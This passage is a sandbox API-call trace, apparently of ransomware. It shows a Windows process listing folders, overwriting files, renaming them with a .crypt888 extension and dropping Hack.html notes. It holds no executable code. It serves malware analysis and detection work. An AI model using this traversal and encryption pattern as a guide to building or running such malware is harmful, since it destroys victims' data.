lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x28bef14*, lpNumberOfBytesRead=0x39ecbc*=0x10654, lpOverlapped=0x0) returned 1 [0087.882] CloseHandle (hObject=0x174) returned 1 [0087.949] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x67 [0087.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.949] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.951] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x67 [0087.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.952] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.952] GetFileType (hFile=0x174) returned 0x1 [0087.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.952] GetFileType (hFile=0x174) returned 0x1 [0087.952] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xf8c2 [0087.952] ReadFile (in: hFile=0x174, lpBuffer=0x272d500, nNumberOfBytesToRead=0xf8c2, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x272d500*, lpNumberOfBytesRead=0x39ecbc*=0xf8c2, lpOverlapped=0x0) returned 1 [0087.953] CloseHandle (hObject=0x174) returned 1 [0088.007] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x67 [0088.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0088.007] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0088.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0088.009] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0088.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0088.009] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.010] GetFileType (hFile=0x174) returned 0x1 [0088.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0088.010] GetFileType (hFile=0x174) returned 0x1 [0088.010] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x2c64 [0088.010] ReadFile (in: hFile=0x174, lpBuffer=0x27b8f8c, nNumberOfBytesToRead=0x2c64, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27b8f8c*, lpNumberOfBytesRead=0x39ecbc*=0x2c64, lpOverlapped=0x0) returned 1 [0088.011] CloseHandle (hObject=0x174) returned 1 [0088.061] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0088.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0088.061] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0088.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0088.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0088.063] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x5b [0088.063] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpFilePart=0x0) returned 0x5c [0088.063] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x599f28 [0088.063] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0088.064] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0088.064] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0088.064] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0088.064] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0088.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0088.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0088.064] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x5b [0088.064] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpFilePart=0x0) returned 0x5c [0088.064] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x599f28 [0088.065] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0088.065] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0088.065] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0088.065] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0088.065] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0088.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0088.065] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0088.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0088.066] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.066] GetFileType (hFile=0x174) returned 0x1 [0088.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0088.066] GetFileType (hFile=0x174) returned 0x1 [0088.066] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xba [0088.066] ReadFile (in: hFile=0x174, lpBuffer=0x2819600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x2819600*, lpNumberOfBytesRead=0x39ec88*=0xba, lpOverlapped=0x0) returned 1 [0088.067] CloseHandle (hObject=0x174) returned 1 [0088.117] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0088.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0088.117] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.119] GetFileType (hFile=0x174) returned 0x1 [0088.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0088.119] GetFileType (hFile=0x174) returned 0x1 [0088.119] WriteFile (in: hFile=0x174, lpBuffer=0x28677d0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec4c, lpOverlapped=0x0 | out: lpBuffer=0x28677d0*, lpNumberOfBytesWritten=0x39ec4c*=0xc0, lpOverlapped=0x0) returned 1 [0088.120] CloseHandle (hObject=0x174) returned 1 [0088.120] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0088.120] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html.crypt888", lpFilePart=0x0) returned 0x6e [0088.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0088.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6f9000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb6f9000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5b840c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0088.120] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\hack.html.crypt888")) returned 1 [0088.121] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0088.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0088.121] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.121] GetFileType (hFile=0x174) returned 0x1 [0088.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0088.121] GetFileType (hFile=0x174) returned 0x1 [0088.122] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0x5e8 [0088.122] ReadFile (in: hFile=0x174, lpBuffer=0x28691fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x28691fc*, lpNumberOfBytesRead=0x39ec88*=0x5e8, lpOverlapped=0x0) returned 1 [0088.123] CloseHandle (hObject=0x174) returned 1 [0088.142] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0088.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0088.142] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0088.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39d9f8) returned 1 [0088.144] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x65 [0088.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0088.144] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.145] GetFileType (hFile=0x174) returned 0x1 [0088.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0088.145] GetFileType (hFile=0x174) returned 0x1 [0088.145] WriteFile (in: hFile=0x174, lpBuffer=0x28bacb8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28bacb8*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0088.146] CloseHandle (hObject=0x174) returned 1 [0088.146] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", lpFilePart=0x0) returned 0x5f [0088.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0088.146] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.147] GetFileType (hFile=0x174) returned 0x1 [0088.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0088.147] GetFileType (hFile=0x174) returned 0x1 [0088.147] WriteFile (in: hFile=0x174, lpBuffer=0x28bd538*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28bd538*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0088.148] CloseHandle (hObject=0x174) returned 1 [0088.148] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", lpFilePart=0x0) returned 0x38 [0088.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0088.148] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.151] GetFileType (hFile=0x174) returned 0x1 [0088.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0088.151] GetFileType (hFile=0x174) returned 0x1 [0088.151] WriteFile (in: hFile=0x174, lpBuffer=0x28bfd20*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x28bfd20*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0088.153] CloseHandle (hObject=0x174) returned 1 [0088.153] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.153] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.155] GetFileType (hFile=0x174) returned 0x1 [0088.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.155] GetFileType (hFile=0x174) returned 0x1 [0088.159] WriteFile (in: hFile=0x174, lpBuffer=0x26c2ccc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26c2ccc*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0088.160] CloseHandle (hObject=0x174) returned 1 [0088.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.160] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x27 [0088.160] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\", lpFilePart=0x0) returned 0x28 [0088.161] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0088.161] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.161] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.161] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.161] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0088.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.162] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x27 [0088.162] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\", lpFilePart=0x0) returned 0x28 [0088.162] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0088.162] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.162] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.162] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.162] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0088.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.163] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.163] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, 